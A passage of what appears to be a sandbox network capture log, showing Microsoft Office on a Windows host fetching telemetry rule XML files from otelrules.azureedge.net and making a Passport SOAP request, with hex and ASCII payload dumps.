2024-11-13 13:41:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-13 13:41:29 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 13 Nov 2024 13:40:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: eb457f72-b529-4c9e-b985-dd29c139b705 PPServer: PPV: 30 H: PH1PEPF00012035 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 13 Nov 2024 13:41:28 GMT Connection: close Content-Length: 1276
2024-11-13 13:41:29 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49843	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:29 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134129Z-16547b76f7fkj7j4hC1DFW0a9g0000000h8g000000003n1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:29 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49846	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:29 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134129Z-16547b76f7fp6mhthC1DFWrggn0000000hdg000000000uyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49845	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:29 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134129Z-16547b76f7f7rtshhC1DFWrtqn0000000h4000000000hs6p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49844	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:29 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134129Z-16547b76f7f4k79zhC1DFWu9y00000000h4000000000kta2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:29 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49847	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:29 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 931c766e-f01e-0099-5ba8-349171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134129Z-1749fc9bdbdgs9sshC1DFWt6ws000000014g00000000ad4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49851	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: b51813c1-401e-002a-5f12-32c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134130Z-16547b76f7fcrtpchC1DFW52e80000000h7000000000cb8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49852	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:30 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134130Z-r178fb8d7657mv58hC1DFW03nw00000000wg00000000cvm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49853	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:30 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 791f132d-601e-003e-49a7-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134130Z-r178fb8d765d5f82hC1DFWsrm8000000014000000000dnvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49854	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:30 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:30 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134130Z-16547b76f7fcrtpchC1DFW52e80000000h90000000007rfa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49855	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:30 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e37edb83-201e-0003-04a0-34f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134130Z-r178fb8d765cgqv6hC1DFWsdr4000000012000000000bmts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49856	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
